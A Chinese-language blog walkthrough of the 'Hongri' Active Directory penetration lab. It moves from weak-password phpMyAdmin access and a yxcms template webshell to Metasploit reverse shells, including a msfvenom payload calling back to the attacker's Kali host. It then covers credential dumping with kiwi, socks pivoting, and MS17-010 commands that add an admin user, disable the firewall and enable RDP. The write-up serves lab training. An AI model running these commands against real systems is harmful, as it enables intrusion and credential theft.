红日靶机1

4 篇文章 0 订阅
3 篇文章 0 订阅

靶场环境

使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器

这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网,其中一个是域控制器,也不出网,3个机器一起做内网。

这里简单的说一下:这里使用2个网卡,一个为nat 一个为仅主机,模拟内网和外网,做到内外网隔离

IP地址分别为:

kali:192.168.12.20

win7:192.168.12.27(作为外网,这里有web服务的,通过web服务getshell)  10.10.10.14(这个网卡做内网)

win2k3:10.10.10.11

2008r2(域控):10.10.10.12

ip配置图:

  • 这里使用12网段,使用nat模式,可以和宿主机通信,这里也可以使用桥接模式,根据自己喜好来吧!我更喜欢使用NAT
  • 这里是我配置的模拟外网的ip

ip配置图:

  • 这里使用10网段,使用仅主机模式,切记讲主机适配器连接到此网络去掉,这样才能更好的模拟内网环境
  • 这里是我模拟的内网的ip

说一下它们的关系!

win7与3个都通信

kali不能同win7,但是主机发现有win7,说明win7这里防火墙拒绝icmp协议,两个内网主机可以互相通信,但是不能与win7通信,说明这里成功的做到了内外网隔离,也就是说,后续我们可以直接访问到内网机器的时候就是成功了。

这里kali与域内的两个机器08r2以及win2k3是不能通信的,并且网络发现是找不到的!(也就是说只能通过外部web信息收集打点,一步一步将内网的2台机器渗透出来,后续会讲到)

  • 思路开始!

  • 主机发现

  1. 使用arp-scan以及netdiscover进行主机发现

# arp-scan -l

# netdiscover -r 192.168.12.0/24

这里也是很明显我们发现了

  • 端口探测

  1. 这里我们nmap扫描发现开放服务

nmap -sS -T5 192.168.12.27 -p0-

nmap -Pn -T5 192.168.12.27 -p0- 这里使用半开扫描和无ping扫描都行,因为icmp协议不成功,所以可以使用无ping,这里其实还可以使用全扫描sT,我试过结果都一样的,各位师傅可以尝试一下。

漏洞利用

这里发现有一个80的端口且是http服务,所以我们可以去访问看一下

  • 这里能找到绝对路径

这里有一个mysql连接监测,其实这里就应该有一种思路

  • 首先我们可以尝试使用弱密码登录试试

第一种思路

第一次测试了admin admin 是错误的,使用root root 显示正常,所以这里就得到了账号密码就是root root

但是这里使用navicat尝试连接数据库的时候说网关不允许连接,这里猜想应该是防火墙的问题!或者是数据库没有远程登录的权限

  • 另一方面应该会想到既然有sql的数据库,那就应该是会有后台登录的界面(其实事实证明我们的猜想是正确的的)

第二种思路

使用nikto 或者dirb 御剑 dirsearch等目录探测工具进行目录探测

nikto  -host http://192.168.12.27

dirb http://192.168.12.27

这里目录扫描发现了存在一个phpmyadmin登陆后台

我们可以访问一下

我们发现使用root:root可以登陆成功!

这里我们发现了一个newyxcms的表,我们可以去访问

这里是一个ymcms,这里是有可以利用的漏洞的

这里我们找到了一些敏感信息

成功的登陆进去

登录进来,我猜测这里应该是有可以利用的漏洞的,发现了一这里有一个模板,使用的都是php的代码,那么我们可以尝试着写一个webshell来进行反弹

但是这里就出现一个问题,我们并不知道它的路径在哪里,所以我们需要去找

因为是一个cms 我们通过百度查询找到了它的php文件的路径\yxcms\protected\apps\default\view\default

我们直接写入一个一句话,然后使用冰蝎连接,然后可以结合msf反弹shell

  • 这里使用REQUEST传参传一个cmd可以来执行命令,从而判断我们是否写入成功

这里是我们的路径,可以看到是没有内容的,我们可以用cmd传一个phpinfo来判断

http://192.168.12.27/yxcms/protected/apps/default/view/default/info.php?cmd=phpinfo();

这里再次解释一下,因为刚刚一句话写的REQUEST用cmd传,所以这里用?cmd=phpinfo; 来传入

(其实这里也可以用冰蝎做一个shell然后用冰蝎来上线msf)

这里我们一起来看使用冰蝎的过程

先用冰蝎生成一个webshell

将这个写入到模板中

(这里可以写入一个新的php文件也可以插入原有的php文件中)

http://192.168.12.27/yxcms/protected/apps/default/view/default/bingxie.php

这里跟蚁剑的思路一样,找到php的路径即可,之后我们可以尝试连接了

这里是使用base64,跟之前的一样

成功连接

这里我们可以先上线msf或者cs,或者msf和cs联动,后续在进行信息收集

这里我们上线msf即可

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp 
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp 
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20 lhost => 192.168.12.20 
msf6 exploit(multi/handler) > set lport 4444 lport => 4444 
msf6 exploit(multi/handler) > run 使用msf监听本地的4444端口

冰蝎这里直接连接kali的4444即可

  • 这里上线cs也是一样,但是cs的话需要jdk的版本与冰蝎的版本一致才可

这里一点给我连,msf直接就上线了,可见很成功!

内网嗅探

内网主机发现

  • 接着我们就可以进行一些信息收集了

命令终端使用ipconfig 发现有2个ip一个是12.27 还有一个10网段的内网ip,所以我们需要收集内网的其他的主机

我们会发现他的dns后缀是一个localdomain 本地域,所以这里应该是有域环境的,所以需要我们进行信息收集

ipconfig /all   # 查看本机ip,所在域 
route print     # 打印路由信息 
net view        # 查看局域网内其他主机名
net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net user /domain         # 查看域用户
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)3
net time /domain         #同步与控服务器时间

  • 这里有OWA ROOT-TVI862UBEH STU1 三个用户 所以还有2个主机

  • 这里可以查看计算机的工作站、域、登录域

  • 这里查询主机是否加入域

这里不知道为什么会出现这种情况说域控制器找不到

而且这里只要是关于域控的一些内容全部都找不到,我猜测可能是我搭建的环境的问题

那么我们可以通过ping命令来找到其他的机器的ip地址,也可以使用msf做内网路由然后使用arp扫描来发现ip地址

  1. 由于我们找到了3个主机的名称,通过ping看看能不能找到ip地址
ping   ROOT-TVI862UBEH
ping OWA
ping  STU1

这里找了ip为11

这里找了个ipv6.。。。。。

这里对比发现,我们stu就是现在机器的名称

这里也就是说 stu 是10.10.10.14
ROOT-TVI862UBEH是10.10.10.11
OWA是这个ipv6,可是不知道ipv4

  • 这里又ping猜测了一下,发现owa的找不到,判断应该为域控,可是并不知道ip

通过我们的信息收集我们发现:这里域环境为GOD

该域名为god.org,域控为OWA$,域管理员为Administrator

  • 反弹shell

  • 可是这里由于是php得到的反弹shell,权限不足,只能执行一些命令,却是不能够导入mimikatz这些模块, 所以我们使用msfvenom来生成一个windows的应用程序来反弹shell,这样的话权限会更大
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4445 -f exe -o /root/heike.exe

  • 将这个exe传入并且执行,使用刚刚连接的php的meterpreter传入即可,使用msf监听4445端口即可

upload /root/heike.exe c://windows//temp//

直接用冰蝎执行即可

这里成功弹上

(这里我们可以看到,使用windows的弹上来比php的权限更大)

这里我们得到msf管理员的权限以后可以导入mimikatz这个模块,获取域内的哈希

meterpreter > load winpmem kiwi 
meterpreter > help

域内信息收集

meterpreter > creds_kerberos

这里就将域内的用户名密码拿下

这里可以使用hashdum来得到用户哈西

哈西格式为:
用户名:SID:LM哈希:NTLM哈希:::
得到三个账号 Administrator、Guest、liukaifeng01

但是他们的哈西是空密码

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

内网横向攻击

接着我们来对内网的机器进行探测,找到域控的ip

使用msf+proxychains搭建socks隧道,来对内网的机器进行嗅探

  • 因为刚刚我们发现其内网是10.10.10.网段,所以这里我们的路由指向10网段
run autoroute -s 10.10.0/24
run autorote -p

  • 这样就知道了去内网的方向
  • 这样我们可以找到域控的ip地址了
meterpreter > run post/windows/gather/arp_scanner  
RHOSTs=10.10.10.0/24 (这里强调一下,需要在我们添加路由以后,然后利用后渗透模块汇总的arp发现这个模块,来探测内网中存活的主机)

这里发现了域控的ip地址

前面已经确定了stu的ip是10.10.10.14、ROOT-TVI862UBEH是10.10.10.11、而这里也知道了OWA的ip是10.10.10.12
  • 我们需要使用msf打开socks代理,然后用msf走socks代理来扫描内网的两个ip地址所开的端口
use auxiliary/server/socks_proxy 使用这个模块
将端口改为1111 地址为本地127  使用socks5代理,具体设置方法都一样,这里不做过多截图了

  • 通过jobs命令可以看到当前运行的socks代理

  • 这里还能使用netstat来查看端口是否开放,具体的用法各位师傅可以去找一找看

接着我们就可以使用使用本地的1111端口来启用socks隧道,去访问它的内网了!!!

 vim /etc/proxychains4.conf(这个是kali里面的socks隧道的配置文件)

在最后输入ip和端口即可

这里我们可以使用proxychains来走socks代理

使用proxychains curl http://10.10.10.14来判断是否socks隧道搭建成功(这里稍微解释一下,因为10.10.10.14是192.168.12.27的那台机器的另一块网卡,正常情况我们直接访问是看不到的,所以这里使用socks隧道来访问,可以看到结果是ok,说明socks隧道搭建成功,因为在msf里面开起来socks隧道,且有路由,所以这里是可以知道10.10.10.14的!!!)

域内主机端口探测

这里使用msf的端口扫描模块对内网资产进行端口扫描

auxiliary/scanner/portscan/tcp使用这个模块
option中的参数  改ip为资产ip  端口为22,80,135,443,445,3389 
设置为常用端口就好了,因为是实验环境,真实环境最好全端口扫描,但是线程别太大  

14的

12的

14这个机器我们已经通过web打点那些,12是域控,11是另一台域内机器,所以我们先对11动手

11这里开放了445和135端口

域内主机漏洞利用

  • 445先用永恒之蓝试一下看看

这里探测到可以使用ms17-010,那我们攻击一下试试

  • 这里需要该个9999端口因为4444被用过了

  • 但是这里使用445 ms17-010不能成功

  • 那我们试试445的ms17_010_command这个

  • 这里我们看到使用net user结果是成功的

那么这里我们就可以利用这个漏洞讲3389打开,然后创建用户登录即可

使用的命令:
set command net user aaa abce@1234 /add  (创建一个用户,这里是有一个密码的限制的,所以使用一个复杂的密码,要不然创建不成功的)
set command net localgroup administrators aaa  /add (将这个用户加入到管理员中)
set command netsh advfirewall set allprofiles state off    (关闭防火墙)
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' (打开3389端口)

  • 到此为止我们将3389打开了,然后还创建了用户,所以我们可以登录
拿下域内主机
这里使用proxychains rdesktop 10.10.10.11

这里要登录用户,不能登录域

登陆成功

  • 但是这里应该是属于个人用户,而并非是域内用户

  • 这里说明一下,在攻击域控的时候用上面的445不成功,永恒之蓝跟command都不能成功,这里就不给图了,直接换一种思路(但是我看有的师傅说可以成功,这里也可能是我的环境配置问题,反正我是没成功)

回到msf中用kiwi模块中的命令我们找到了账号密码

net use \\10.10.10.12\c$ "********":"administrator'

这里只能到这里,本来想着用msf代理去上线,可是试了很多次都没能成功,只有转到cs来尝试了,后续在出一个cs的教程,还在持续的更新中!(文章尽我所能,能想到的都写了,希望对各位师傅有帮助吧!)

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

JM丫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值